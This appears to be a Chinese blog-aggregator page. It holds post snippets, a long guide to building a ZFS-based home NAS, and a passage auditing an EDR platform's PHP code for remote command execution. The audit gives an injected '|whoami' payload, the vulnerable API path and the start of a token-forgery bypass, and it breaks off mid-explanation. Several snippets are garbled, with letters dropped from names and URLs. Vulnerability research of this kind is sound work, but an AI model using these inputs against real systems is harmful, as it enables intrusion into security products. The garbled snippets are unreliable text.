很多时候还是需要去探寻事物的本质和原理，才能更加清晰明了的了解这个事物，否则什么东西都是现有的成品一把梭，遇到梭不了，容易出现惯性思维，可能就直接略过了。
- 博客 Jiajun的编程随想 2020-11-13 08:00:00《Java collection的结构》最近在学Java，这张图是collection的结构，Java里常用的数据结构实现都在这里面了，准备好好的研究研究。结构如图：...
- 博客 轶哥博客 2020-11-12 23:49:23<>
<>对于内存较小的嵌入式设备或者移动设备（例如带屏智能音响，安卓、IOS平台的设备），在线预览PDF功能经常会导致内存溢出、应用程序闪退。<>对于非常大的PDF文档，一次性下载整个文档将消耗大量的时间，即使开启分段下载，PDF文档正常下载完成并加载，超大的内存占用也会导致设备运行卡顿。
- 博客 轶哥博客 2020-11-10 21:17:54<>
Stadard Note是一款部分开源的优秀的跨平台加密笔记软件。作为备忘录（Ale Note）的替代品（补充品），Stadard Note订阅版支持丰富的插件和编辑器。 - 博客 轶哥博客 2020-11-09 00:39:32<>此文章提供的方法可以将
Google Autheticator（安卓中显示为Google 身份验证器）中所有的密钥导出到其它的2FA双因素认证软件（例如Microoft Autheticator、Ste Two、Duo Moile、Authy等二次验证APP），甚至从Adroid版本的Google Autheticator导入到IOS版本的Google Autheticator（例如将华为手机里面的身份验证数据导入到IPhoe，两个手机可以同时使用）。<>研究迁移方法的原因是，Adroid版本的Google Autheticator右上角提供了迁移账号功能，而在IPhoe中无法导入从Adroid中迁移出来的账号（估计是IOS版本年久失修）。我的密码数量很多，挨个到原始账号设置的地方重置二次验证数据不太现实。 - 博客 轶哥博客 2020-11-08 22:50:33<>
Microoft ToDo和GoodTak都是非常优秀的待办事项管理工具，Microoft ToDo是全平台的，而GoodTak只能在Mac/IOS下使用。<>Microoft ToDo和GoodTak是可以互相同步数据的，需要借助Outlook邮箱账号来进行同步，包括标签和分类在内的计划任务数据都可以正常被同步。<>推荐在iPhoe手机和MacOS电脑中使用GoodTak管理任务，其它平台使用Microoft Todo以达到最佳使用体验。 - 博客 轶哥博客 2020-11-06 19:09:51<>遇到一个奇怪的需求，需要在项目未正式交付前，各台服务器使用率满足“CPU不低于 20% ，内存不低于40%，磁盘不低于40%”的要求。
- 博客 王子亭的博客 2020-11-04 01:00:00
在 2016 年我拥有了第一台 NAS —— 群晖的 DS215J，其实在之后的很长一段时间其实并没有派上多大用场，因为我的数据并不多，大都存储在云端，更多的是体验一下 NAS 的功能和工作流。
直到最近我才开始真正地将 NAS 利用上，于是准备升级一下，但考虑到群晖的性价比实在太低，再加上去年配置 Linux 软路由让我对基于「原生 Linux」的开源解决方案信心和兴趣大增，于是准备自己 DIY 一台 NAS，计划解决未来十年的存储需求。
我依然选择了我最熟悉的 Ubuntu 作为操作系统、Ansible 作为配置管理工具，因此这个 NAS 的大部分配置都可以在我的 GitHub 上找到。
注意这个仓库中的 Ansible 配置仅供参考，不建议直接运行，因为我在编写这些配置时并未充分考虑兼容性和可移植性。
文件系统
对于一台 NAS 来说最重要的当然是文件系统，不需要太多调研就可以找到 ZFS —— 可能是目前在数据可靠性上下功夫最多的单机文件系统了，于是我的整个选型就围绕 ZFS 展开了。
ZFS 既是文件系统，同时又是阵列（RAID）管理器，这为它带来了一些其他文件系统难以提供的能力：
- ZFS 为每个块都存储了校验和，同时会定期扫描整个硬盘，从 RAID 中的其他硬盘修复意外损坏的数据（如宇宙射线导致的比特翻转）。
- 在 RAID 的基础上可以 指定某些目录以更多的份数冗余存储，对于重要的数据即使损坏的硬盘超过了 RAID 方案的限制，依然有可能找回。
ZFS 还支持数据加密、压缩和去重，这三项功能以一种巧妙的顺序工作，并不会互相冲突，同时这些所有选项都可以设置在目录（dataset）级别、可以随时更改（只对新数据生效）。
ZFS 当然也支持快照，快照可以被导出为二进制流，被存储到任何地方。这个功能可以让你在不丢失任何元信息的情况下对 ZFS 的文件系统进行备份、传输和恢复。
硬件
我并不擅长淘硬件，于是就选择了 HPE 的 MicroServer Gen10，一个四盘位的成品微型服务器，CPU 是 AMD X3421 ，8G ECC 内存，也是标准的 x86 通用硬件，应该不太容易遇到坑。
我用转接卡在 PCI-E 插槽上装了一块 NVME SSD，用作系统盘和 ZFS 的读缓存（L2ARC，不过从后面的统计来看效果并不明显），数据盘则暂时用的是旧的硬盘，最终会升级到四块 4T 的硬盘。这里需要注意的是因为 ZFS 不支持更改 RAID 的结构，所以必须在一开始就配置足够的硬盘来占位，后续再升级容量，我甚至用 USB 接了一块移动硬盘来凑数。
ZFS
因为是四盘位，所以我采用了 raidz1（RAID5），冗余一块盘作为校验，如果最终所有的盘都升级到 4T，一共是 12T 的实际可用容量。
root@infinity:~# zpool status pool: storage state: ONLINEconfig: NAME STATE READ WRITE CKSUM storage ONLINE 0 0 0 raidz1-0 ONLINE 0 0 0 sda ONLINE 0 0 0 sdb ONLINE 0 0 0 sdc ONLINE 0 0 0 sdd ONLINE 0 0 0 cache nvme0n1p4 ONLINE 0 0 0root@infinity:~# zpool listNAME SIZE ALLOC FREE CKPOINT FRAG CAP DEDUP HEALTHstorage 7.27T 3.52T 3.75T - 10% 48% 1.00x ONLINE通常认为 RAID5 在出现硬盘故障的恢复过程中存在着较高的风险发生第二块盘故障、最终丢失数据的的情况；或者硬盘上的数据随着时间推移发生比特翻转导致数据损坏。但考虑到 ZFS 会定期做数据校验来保证数据的正确性，再综合考虑盘位数量和容量，我认为这个风险还是可以接受的，后面也会提到还有异地备份作为兜底措施。
我开启了 ZFS 的加密功能，但这带来了一个问题：我不能把密钥以明文的方式存储在 NAS 的系统盘 —— 否则密钥和密文放在一起的话，这个加密就失去意义了。所以每次 NAS 重启后，都需要我亲自输入密码、挂载 ZFS 的 dataset，然后再启动其他依赖存储池的服务。
我还开启了 ZFS 的数据压缩，默认的 lz4 只会占用少量的 CPU 却可以在一些情况下提高 IO 性能 —— 因为需要读取的数据量变少了。因为去重对资源的需求较高，相当于需要为整个硬盘建立一个索引来找到重复的块，我并没有开启去重功能。
一些评论认为 ZFS 对内存的需求高、必须使用 ECC 内存。这其实是一种误解：更多的内存可以提升 ZFS 的性能，ECC 则可以避免系统中所有应用遇到内存错误，但这些并不是必须的，即使没有更多的内存或 ECC，ZFS 依然有着不输其他文件系统的性能和数据完整性保证。
存储服务
小知识：SMB 是目前应用得最广泛的局域网文件共享协议，在主流的操作系统中都有内建的支持。CIFS 是微软（Windows）对 SMB 的一个实现，而我们会用到的 Samba 是另一个实现了 SMB 协议的自由软件。
作为 NAS 最核心的功能就是通过 SMB 协议向外提供存储服务，所有的成品 NAS 都有丰富的选项来配置 SMB 的功能，但我们就只能直接去编辑 Samba 的配置文件了，Samba 直接采用了 Linux 的用户和文件权限机制，配置起来也不算太麻烦：
# 可以在 path 中使用占位符来为每个用户提供单独的 Home 目录# 可以在 valid users 中使用用户组来控制可访问的用户[Home]path = /storage/private/homes/%Uwriteable = yesvalid users = @staff# Samba 默认以登录用户创建文件，但 NextCloud 以 www-data 运行，可以用 force user 覆盖为特定的用户[NextCloud]path = /storage/nextcloud/data/%U/fileswriteable = yesvalid users = @staffforce user = www-data# 通过这些设置可以让 macOS 的 TimeMachine 也通过 SMB 进行备份# 详见 https://www.reddit.com/r/homelab/comments/83vkaz/howto_make_time_machine_backups_on_a_samba/[TimeMachine]path = /storage/backups/timemachines/%Uwritable = yesvalid users = @staffdurable handles = yeskernel oplocks = nokernel share modes = noposix locking = novfs objects = catia fruit streams_xattrea support = yesinherit acls = yesfruit:time machine = yes# 对于共享的目录可以用 force group 覆盖文件的所属组、用 create mask 覆盖文件的权限位[VideoWorks]path = /storage/shares/VideoWorkswriteable = yesvalid users = @staffforce group = staffcreate mask = 0775# 还可以设置游客可读、指定用户组可写的公开目录[Resources]path = /storage/public/Resourcesguest ok = yeswrite list = @staffforce group = +staffcreate mask = 0775从上面的配置中也可以看到这些共享目录分散在几个不同的路径，为了匹配不同的数据类型、方便在目录级别进行单独设置，我划分了几个 dataset:
db存放应用的数据库文件，将 recordsize 设置为了 8k（默认 128k）。nextcloudNextCloud 的数据目录，也可被 SMB 访问。private每个用户的个人文件。shares家庭内部共享的文件（如拍摄的视频）。public可以从互联网上下载到的文件，不参与异地备份。backups备份（Time Machine 等），不参与异地备份。
root@infinity:~# zfs listNAME USED AVAIL REFER MOUNTPOINTstorage 2.27T 286G 169K /storagestorage/backups 793G 286G 766G /storage/backupsstorage/db 741M 286G 339M /storage/dbstorage/nextcloud 207G 286G 207G /storage/nextcloudstorage/private 62.2G 286G 62.2G /storage/privatestorage/public 648G 286G 613G /storage/publicstorage/shares 615G 286G 609G /storage/shares应用
首先我安装了 Netdata，这是一个开箱即用的监控工具，在仅占用少量资源的情况下提供秒级精度的大量统计指标，非常适合用于监控单台服务器的性能瓶颈。
其余的应用都被我运行在了 Docker 中（使用 docker-compose 来管理），这样可以隔离应用的运行环境，提升宿主机的稳定性，安装、升级、卸载应用也会更方便。
其中最重要的一个应用是 NextCloud，这是一个开源的同步盘，我主要看中它的 iOS 应用和 iOS 有不错的整合，可以正确地同步 Live Photo，也可以在 iOS 的文件应用中被调用。
NextCloud 服务端会直接读写文件系统中的文件，而不是将文件存储在数据库里，这意味着 NextCloud 的数据目录同时也可以通过 Samba 来访问，这一点非常方便（不过需要一个定时任务来刷新 NextCloud 数据库中的元信息）。
我还在 Docker 中运行了这些服务，它们都是开源的：
- Miniflux，一个 RSS 服务端，通过 Fever API 支持绝大部分的 RSS 客户端。
- Bitwarden（非官方实现），一个密码管理器，提供有各平台的客户端和浏览器插件。
- Transmission，一个 BitTorrent 客户端，提供基于 Web 的管理界面。
外部访问
如果要真正地用 NAS 来替代网盘的话，还是需要保证不在家里的内网的时候也可以访问到文件的。
通常的做法是使用 DDNS（动态 DNS）将一个域名解析至家庭宽带的 IP，这要求家庭宽带有公网 IP，而且运营商允许在 80 或 443 端口提供 Web 服务。我不想依赖这一点，所以想到了用 frp 来进行「反向代理」，如果你确实有公网 IP 的话，也可以使用 DDNS 的方案，这样会省去一个中转服务器，也可以有更好的速度。
为了让 NextCloud 能有一个固定的地址（如
https://nextcloud.example.com）我将域名在内外网分别进行了解析，在家时解析到内网地址，在外解析到中转服务器。无论是内外网，数据流都会经过 Let’s Encrypt 的 SSL 加密，这样就不需要中转服务器有较高的安全保证。虽然不需要先拨一个 VPN 确实很方便，但将 NextCloud 开放在公网上 并不安全，在社区中已有用户 要求 NextCloud 客户端支持双向 SSL 认证，我也非常期待这个功能，可以在公网访问上提供更好的安全性。
我还在 NAS 上安装了 WireGuard，这是一个内建在 Linux 内核中的 VPN 模块，同样通过 frp 暴露在外网，除了 NextCloud 之外的服务，如 SMB、SSH 和 Nextdata 都可以通过 WireGuard 来访问。
如果你不执着于开源方案的话，也可以试试 ZeroTier，它提供了 NAT 穿透的能力，让你的设备和 NAS 之间可以不借助中转服务器直接传输，改善连接速度。
备份和数据完整性
在 raidz1 的基础上，我设置了定时任务让 ZFS 每天生成一个快照，还写了一个脚本来按照类似 Time Machine 的规则来清理备份：保留最近一周的每天快照、最近一个月的每周快照、最近一年的每月快照、以及每年的快照。
root@infinity:~# zfs list storage/nextcloud -t snapshotNAME USED AVAIL REFER MOUNTPOINTstorage/nextcloud@2020-09-05 83.9M - 182G -storage/nextcloud@2020-09-15 35.2M - 207G -storage/nextcloud@2020-09-21 30.2M - 207G -storage/nextcloud@2020-09-23 29.7M - 207G -storage/nextcloud@2020-09-26 29.3M - 207G -storage/nextcloud@2020-09-27 28.2M - 207G -storage/nextcloud@2020-09-28 28.2M - 207G -storage/nextcloud@2020-09-29 29.1M - 207G -storage/nextcloud@2020-09-30 33.5M - 207G -快照主要是为了防止人工的误操作，除了单纯的、当场就能发现的手滑之外，有时你会误以为你不会用到这个文件而将它删除，直到很久之后才发现并非如此。
同时每周会有定时任务使用 restic 备份一个快照到 Backblaze B2 作为异地备份，这是一个价格较低的对象存储，非常适合备份。restic 支持增量的快照备份，也支持加密。出于成本考虑，异地备份仅包括由我产生的数据，并不包括 public 和 backups 目录。
我曾考虑过直接在远端运行一个 ZFS 来进行备份，zfs send / recv 支持以二进制流的形式传输一个快照 —— 不需要远端安装其他任何的工具，只需要用 shell 的管道操作符将 zfs send 的字节流重定向到 ssh 命令即可。这个方案非常具有技术美感，但考虑到块存储的价格是对象存储的十倍以上，最后还是放弃了这个方案。
成本核算
硬件上其实我预算并不紧张，留的余量也比较大，如果换一些性价比更高的硬件的话，价格还可以下降很多。
- 主机（主板、CPU、内存、系统盘） 3500 元
- 硬盘（4 * 4T） 2200 元（其实目前只买了一块，其他三块是旧的）
考虑到我之前的群辉用了五年，新的 NAS 设计使用寿命定在十年：
- 硬件成本折合每年 570 元
- 电费（35W）每年 110 元
- 远程访问每年 100 元（国内年付促销服务器，如有公网 IP 使用 DDNS 则无需此项）
- 异地备份每年 415 元（按量付费，这里按 1T 需要异地备份的数据计算）
总共 12T 的容量每年 1195 元，折合 1T 每月 8 元，如果去掉远程访问和异地备份的话则是 1T 每月 5 元。
为什么要用自部署方案
相比于使用云服务，第一个理由自然是对数据的「掌控感」，虽然没有什么确凿的理由说云服务就一定不安全，但有些人就是喜欢这种对个人数据的掌控感。
还有一个技术原因是部署在家中内网的 NAS 可以通过 SMB 简单地支持一些「在线编辑」，如直接加载 NAS 上的素材进行视频剪辑、甚至将整个工程文件都直接放在 NAS 上。使用云服务的话一方面是没有 SMB 协议的支持，即使支持延迟对于在线编辑来说也是无法接受的。
另外一个不能忽略的话题就是成本，在这里我们只考虑以容量为计价方案的网盘服务，iCloud、Google Drive、Dropbox 的价格方案都非常接近，在超过 200G（大概 $3）这一档之后就直接跳到了 2T（大概 $10），这时云服务按量付费的优势其实就没有了，是一个切换到自部署方案的一个不错的时间点，一次性投入之后只需 2 - 3 年即可回本。
当然最重要的一点是兴趣，在这个折腾的过程中你需要做很多决定、遇到很多困难，最后搭建出来一个几乎是独一无二的自部署方案。如果你能在这个过程中找到乐趣的话，那当然是非常值得的；反过来如果你没有兴趣，算上投入的时间成本，自部署方案的性价比将会非常低。
任何自部署的方案都需要长期的维护才能保持工作，对后端运维完全没有兴趣怎么办，不如了解一下 LeanCloud，领先的 BaaS 提供商，为移动开发提供强有力的后端支持。
- 博客 Holmesian Blog 2020-11-04 00:42:00老婆大人给我买的 MacBook Pro ，才200多循环电池最大余量就只剩下60%多了（说好能经受 1000 次折腾呢），查了一下相关资料感觉最近几年 MBP 的质量基本上都是在下滑，尤其是电...
- 博客 Jiajun的编程随想 2020-11-02 08:00:00《为啥Redis使用pipelining会更快？》这是一个很考究细节的问题，大部分人都会说：因为减少了网络开销，那么，看如下例子：```python...
- 博客 构建我的被动收入 2020-10-31 08:00:00被动收入投资组合2020年10月月报
- 博客 Jiajun的编程随想 2020-10-24 08:00:00《通过阳台种菜实现蔬菜自由》虽然我这博客一直都是搞技术的，但是最近研究了一下阳台种菜，也有朋友比较感兴趣，所以总结一下。通过阳台种菜，我们可以实现...
- 博客 Jiajun的编程随想 2020-10-19 08:00:00《从GORM里学习到的panic处理方式》今天在博客的评论里，有童鞋提醒我，GORM里也有简化事务处理的帮助函数。源码如下：```go...
- 博客 轶哥博客 2020-10-18 23:50:55<>
CrytoJS提供了和OeSSL加密命令一致的AES对称加密方法，此方法基于EvKDF对Secret Pahrae进行计算（Thi key derivatio fuctio i meat to coform with EVP_ByteToKey.），确保进行AES加密计算的key符合长度标准并提升AES加密的安全性。CrytoJS没有直接提供基于PBKDF2的AES加密方法，但在OeSSL中提供了-kdf2参数并将该参数作为AES加密的推荐选项。 - 博客 Jiajun的编程随想 2020-10-17 08:00:00《Go使用闭包简化数据库操作代码》在日常工程中，我们可能要开事务来完成一些操作，因此就会有如下代码：```go...
- 博客 Jiajun的编程随想 2020-10-10 08:00:00《TCMalloc设计文档学习》TCMalloc全名Thread-Caching Malloc，是Google开发的用来替代传统malloc函数的内存分配库，它的竞争对手主要是jemalloc, glibc malloc等。我们主要学习它的设计思路。首先要明确的一点就是tcmalloc为什么这么快，大量使用无锁操作是tcmalloc...
- 博客 构建我的被动收入 2020-09-30 08:00:00被动收入投资组合2020年09月月报
- 博客 Jiajun的编程随想 2020-09-27 08:00:00《Flask和requests做一个简单的请求代理》有的时候，我们需要做一些简单的代理工作，比如，把一个内部系统，通过已有的鉴权方式暴露出去。代码如下...
- 博客 轶哥博客 2020-09-26 22:51:26<>在Node.j中调用
ffmeg的绝佳方法是使用ode-fluet-ffmeg库。<>fluet-ffmeg开源地址：htt://githu.com/fluet-ffmeg/ode-fluet-ffmeg - 博客 轶哥博客 2020-09-26 17:24:00<>昆明的社保卡集
医保账户、金融账户于一体。此卡有两个密码，一个是药店买药/医院看病的医保密码，另一个是内置银行卡的密码。<>首先到应用商店下载“昆明人社通”APP，用身份信息登录即可查看社保卡、医保账户等相关信息。 - 博客 Jiajun的编程随想 2020-09-21 08:00:00《Linux常用命令(四)：xargs》xargs命令可以从标准输入读取参数，然后组建成新的命令去执行，举个例子：```bash...
- 博客 Jiajun的编程随想 2020-09-20 08:00:00《Linux常用命令(二)：htop》htop是非常非常常用的一个命令行工具。htop在top上有很多改进，更加易用，并且操作更加简单、直观。我们来看看htop的截图：...
- 博客 Jiajun的编程随想 2020-09-20 08:00:00《Linux常用命令(三)：watch》watch命令是一个比较简单但是实用的命令。不知道你是否有过这样的经历，你想看一个命令的输出，因此不断的手动执行这个命令，然后观察输出。watch命令就是帮你自动完成这个过程的命令。举个例子，我们像要看现在的时间，就可以这样...
- 博客 Jiajun的编程随想 2020-09-19 08:00:00《Linux常用命令(一)：netcat》netcat是常见的用于网络相关的工具，比如连接，监听，扫描端口等。和所有的UNIX命令一样，netcat也是一把瑞士军刀。接下来我们来学习如何使用...
- 博客 轶哥博客 2020-09-17 14:16:26<>
VMware vShere是VMware的虚拟化平台。VMwarev Shere的两个核心组件是ESXi和vCeter Server。ESXi是用于创建并运行虚拟机和虚拟设备的虚拟化平台。vCeter Server是一项服务，用于管理网络中连接的多个主机，并将主机资源池化。<>可以简单理解为ESXi是安装在物理机上的，通过vCeter Server将多个物理机资源整合起来。<>目前ESXi可以独立运行在某个物理设备上，为设备提供虚拟化平台（虚拟机）。例如在软路由中安装ESXi 7.0，以实现爱快+OeWrt等组合搭配。 - 博客 轶哥博客 2020-09-16 13:38:42<>
Uutu Mate官方为GPD Pocket 2推出了定制固件，此固件最新版为19.10，经实测安装此版本后可以正常通过命令行升级至20.04.1 LTS，升级后各个硬件驱动均正常。但是Uutu Mate存在一个巨大的缺陷——色彩显示异常，有一种灰蒙蒙的感觉，类似于16位色彩的显示效果。 - 博客 轶哥博客 2020-09-16 12:07:06<>Oda Oook11可以安装原版Uutu，但是GUI运行会比较卡顿。建议安装最新x64版的Uutu Mate（在20.04.1 LTS测试通过）。<>安装最新版的Uutu后，默认WIFI无法正常驱动，需要通过U盘或USB无线网卡下载驱动文件才能正常使用无线网络。
- 博客 Jiajun的编程随想 2020-09-16 08:00:00《结合Flask 与 marshmallow快速进行参数校验》在Flask里如何方便快速的进行参数校验呢？如下，我们通过组合Flask提供的工具函数，以及marshmallow，来完成一个方便快捷的参数校验函数...
- 博客 Jiajun的编程随想 2020-09-10 08:00:00《规整数据的重要性》对于后端而言，无论前端是否校验了表单（前端可能出于用户体验会做校验），后端都必须校验一次。并且在数据有问题时及时终止处理。常见的请求处理如下...
- 博客 贼拉正经的技术博客 2020-09-07 12:24:311375
- 博客 构建我的被动收入 2020-09-07 08:00:00被动收入投资组合2020年08月月报
- 博客 贼拉正经的技术博客 2020-09-05 10:44:441377
- 博客 Jiajun的编程随想 2020-09-05 08:00:00《apt安装特定包以及忽略升级某个包》apt是debian的包管理工具，ubuntu沿用之。## 安装特定版本的包...
- 博客 Vulkey_Chen's Blog 2020-09-03 00:00:00
某终端检测响应平台代码审计挖掘（RCE）
前言
继上一次对某终端检测响应平台权限绕过漏洞的审计流程，现分享对该平台进行代码审计后挖掘到的远程命令执行漏洞。
上篇文章其实采用的是通读代码逻辑的方法进行漏洞挖掘，那么本次我们使用敏感函数回溯的方法（代码审计方法通常分为三类: 通读全文、敏感函数参数回溯、定向功能分析）来进行漏洞挖掘。
审计流程
定位敏感函数
前文说到，不是一把梭的0day都不叫0day，所以我们可以对命令执行、代码执行等漏洞相关敏感函数进行全文搜索，敏感函数列表如下 :
exec() passthru() proc_open() shell_exec() system() popen() eval() //非函数 assert() preg_replace()搜索关键词
exec(，发现一处文件/ldb/dc.php自定义了命令执行代码，函数体是调用的exec函数 :/** * 执行外部程序 * @param string $command 执行命令 * @param array $output 输出信息 * @param int $ret 返回值 * @return string 返回执行结果 */ function ldb_exec($command, &$output, &$ret) { if (!ldb_is_linux()) { $data = exec($command, $output, $ret); } else { pcntl_signal(SIGCHLD, SIG_DFL); $data = exec($command, $output, $ret); pcntl_signal(SIGCHLD, SIG_IGN); } return $data; }寻找危险点
/bin/mapreduce/app/web/device_linkage/process_cssp.php
exec_slog_action 匿名函数分析
如上所述，我们知道了
ldb_exec函数为自定义命令执行代码，我们想寻找利用点就需要跟踪下该函数在哪被引用，然后分析具体的代码看是否可以利用。老套路，全局搜索
ldb_exec(发现有很多处调用了，其中阅读起来较为通俗易懂的为/bin/mapreduce/app/web/device_linkage/process_cssp.php的匿名函数$exec_slog_action:$exec_slog_action = function($object,$params){ $data = $params["data"]; if (!isset($data["params"])) { ldb_error("required parameter missing params is".json_encode($params)); $object->err_code = EXEC_SLOG_ACTION_PARAM_ERROR; return -1; } $data["params"] = ldb_mapreduce_invoke("call_method", "app.web.common.validation.shell_injection_check", "shell_argv_transform", $data["params"]); $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; ldb_debug("exec command: ".$command); ldb_exec($command, $output, $ret); if ($ret !== 0) { ldb_error("exec slog action fail, command: $command, error: ".$output); $object->err_code = EXEC_SLOG_ACTION_FAILED; return -1; } $data = $output; response_linkage_dev_msg(SUCCESS,$data); return 0; };这段代码很容易理解，赋值校验，再过一遍
/bin/mapreduce/app/web/common/validation/shell_injection_check文件 函数shell_argv_transform:// 转义参数 $shell_argv_transform = function($argv) use(&$shell_argv_transform) { $type = strtolower(gettype($argv)); if ($type == "array") { foreach ($argv as $key => $value) { $argv[$key] = $shell_argv_transform($value); } } else if (!is_null($argv) && !empty($argv)) { $argv = escapeshellarg($argv); } return $argv; };这就是一段简单的转义，如果传入的变量
$argv是数组则遍历进行函数递归最后通过escapeshellarg函数转义（ 官方释义: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号，这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。 ），如果不是数组则直接进行增加转义。继续跟进看代码，你会发现
$command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'";是拼接的，最后经过ldb_exec进行命令执行，我们可以使用管道符的方式进行其他命令的注入:|whoami，但这里巧妙的是经过escapeshellarg函数处理后注入的命令就变成了'|whoami'，最后执行的命令就变成了:curl -k 'http://127.0.0.1:9081/?'|whoami''，直接帮助我们闭合命令了。那么我们只需要可以控制
$params['data']['params']的值即可进行命令执行。控制点寻找
/bin/web/dev_linkage_launch.php
get_opr 函数分析
由于
/bin/mapreduce/下的文件，我们没办法直接访问调用就需要全局搜索exec_slog_action看下谁调用了这段代码，发现文件/bin/web/dev_linkage_launch.php（ 此处应感觉到兴奋，毕竟我们能访问的路径就是/bin/web/） 有一处可疑函数体（ 函数get_opr） :function get_opr($req_url){ ... //CSSP请求 if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){ return EXEC_SLOG_ACTION; } ... //检查url的合法性 if($req_url !== AGENT_INFO_URL && $req_url !== SCAN_ABOUT_URL && $req_url !== EDR_INFO_ABOUT_URL && $req_url !== EVIDENCE_INFO_URL){ ldb_error("no response about this url :".$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } //获取url中的参数 $url_params = get_url_param(); $method = $url_params[METHOD]; global $opr_arr; if(isset($opr_arr[$method])){ $opr = $opr_arr[$method]; } else{//无此url的响应 ldb_error("no response about this url: " .$req_url); throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL")); } return $opr; }判断变量
$req_url值是否与常量STD_CSSP_EXEC_SLOG_ACTION_URL值一致，一致则返回常量EXEC_SLOG_ACTION，最后如果请求的地址非常量中定义的，则进行URL判断合法性（ 我们没办法直接访问dev_linkage_launch.php）。我们先看常量
STD_CSSP_EXEC_SLOG_ACTION_URL对应值，直接看代码开头包含了哪些文件即可 :
最终发现
/bin/mapreduce/app/web/device_linkage/common/common.php中定义了常量 :define("STD_CSSP_EXEC_SLOG_ACTION_URL","/api/edr/sangforinter/v2/cssp/slog_client");define("EXEC_SLOG_ACTION","exec_slog_action");知道了这些常量的定义，大致就明白了，（ 猜测 ）当我们访问
/api/edr/sangforinter/v2/cssp/slog_client时，函数get_opr返回exec_slog_action，也就是我们之前所发现存在安全风险的函数，这也仅仅是猜测，但想要证实这个猜测，我们就得啃一啃文件/bin/web/dev_linkage_launch.php。get_interface_data 函数分析
我们已经知道了函数
get_opr的作用（ 返回接口方法 ），来看看在文件中的哪里被调用，发现一处调用 :function get_interface_data($argv) { //获取url $req_url = $_SERVER['PHP_SELF']; //校验token check_token($req_url); //构造opr $opr = get_opr($req_url); //根据方法构造业务代码路径 $app_name = get_app_name($opr); $data = array(); if($_SERVER['REQUEST_METHOD'] == 'POST'){ $data = get_body_data($argv); } //根据opr、app_name以及data构造数据 $interface_data = array(); $interface_data["app_args"]["name"] = $app_name; $interface_data["opr"] = $opr; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $interface_data["data"] = $data; } return $interface_data; }函数
get_interface_data调用了函数get_opr，传递参数值为$req_url = $_SERVER['PHP_SELF'];，也就是请求的URI( 例如请求地址为http://localhost/chen.php那么$_SERVER['PHP_SELF']的值即为/chen.php)。注：这里证实了我们在分析
get_opr函数时的猜测，请求的地址必须为/bin/mapreduce/app/web/device_linkage/common/common.php文件中定义常量的地址，不能为dev_linkage_launch.php。那么想要进入调用函数
get_opr的逻辑，我们需要先了解下函数get_interface_data的逻辑，在此之前我们需要确保自己不会做无用功，所以需要看下函数get_interface_data是否在上下文代码中被调用 :
该函数直接被入口函数调用，那么我们接下来就可以分析下该函数逻辑，根据注释我们了解到这里会校验token，也就是函数
check_token。check_token 绕过
跟进函数
check_token，其代码如下 :/** * @func 检验token * @param string $req_url 联动的url * @throws Exception */ function check_token($req_url){ //CSSP接口使用特权IP的方式进行校验 if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false && $req_url != STD_CSSP_SET_KEY_URL) { parse_str($_SERVER['QUERY_STRING'],$query_str_parsed); if(!isset($query_str_parsed[TOKEN])) { throw new Exception(ldb_get_lang("THIS_OPERATION_NEED_TOKEN")); } $ret = check_access_token($query_str_parsed[TOKEN], $req_url); if ($ret == 1) { response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED); die(); } } //判断url 需不需要进行校验token if($req_url == AGENT_INFO_URL || $req_url == SCAN_ABOUT_URL || $req_url == EDR_INFO_ABOUT_URL || $req_url == EVIDENCE_INFO_URL){ //校验token $url_params = get_url_param(); $ret = token_valid($url_params[TOKEN]); if($ret){ response_linkage_dev_msg($ret); die(); } } }简单理解就是获取所有请求参数，并获取参数
token的值带入函数check_access_token，最后的返回结果不为1即可成功验证token，我们继续跟进该函数，文件/bin/web/ui/php/platform.php:/** * 检验cssp请求的token * @return 0/1 成功/失败 */ function check_access_token($access_token, $req_url){ $token_str = base64_decode($access_token); $json_token = json_decode($token_str, true); $key = get_item_from_os_json("privateKey"); if($key == "" && $req_url == STD_CSSP_DOWN_CONF_URL) { $key = STD_CSSP_DEFAULT_KEY; } $md5_str = md5($key.$json_token["random"]); if($md5_str == $json_token["md5"]) { return 0; } ldb_error("check token failed"); return 1; }参数
token的值需要经过Base64解码、JSON转换（ 将JSON转为数组 ），最后字段random与变量$key拼接进行md5加密的值与字段md5一样则可以进入return 0;否则就是return 1;（ 我们就需要返回为0才可过token验证 ）。那在这我们需要知道变量
$key是怎么样获取到的，跟进函数get_item_from_os_json:/** * 从/etc/cssp_custom_image/os.json中获取指定值 * @param $key os.json中的键 * @return 返回指定键对应的值 */ function get_item_from_os_json($key){ $item = ""; $file_path = "/etc/cssp_custom_image/os.json"; if(file_exists($file_path)){ $os_json = get_json_from_file($file_path); if ($os_json === null) { ldb_error("target file is null"); return ""; } $item = $os_json[$key]; } return $item; }发现这里实际意义上就是将
$file_path = "/etc/cssp_custom_image/os.json";带入get_json_from_file函数，继续跟进这个函数 :/** * 从文件读取一个json * @param conf_file 文件路径+文件名 * @return data_arry 返回一个关联数组 */ function get_json_from_file($conf_file){ if (!file_exists($conf_file)) { ldb_error("err:file null"); return null; } $json_string = file_get_contents($conf_file); $data_arry = json_decode($json_string, true); if (is_null($data_arry)) { ldb_error("get json from file failed"); return null; } return $data_arry; }该函数就是从文件中读取JSON，并转为数组返回，我们想要知道具体内容就要看下初始的
/etc/cssp_custom_image/os.json文件内容，但笔者这里安装默认情况下该文件是不存在的 :
那在这里其返回的就是空，这时候我们再回到函数
check_access_token，其代码（ 代码上文中已经列出 ）逻辑当变量$key值为空并且$req_url == STD_CSSP_DOWN_CONF_URL（define("STD_CSSP_DOWN_CONF_URL","/api/edr/sangforinter/v2/cssp/down_conf");） 的情况下变量$key值为常量STD_CSSP_DEFAULT_KEY的值，即:define("STD_CSSP_DEFAULT_KEY","amsPnhHqfN5Ld5FU");（ 常量定义在/bin/mapreduce/app/web/device_linkage/common/common.php文件中 ）。但此处我们的变量
$req_url为/api/edr/sangforinter/v2/cssp/slog_client并不符合逻辑条件，所以变量$key还是为空的。那我们可以根据代码逻辑直接构建token值，首先是JSON内容有两个字段random、md5，还要满足字段md5的值等于
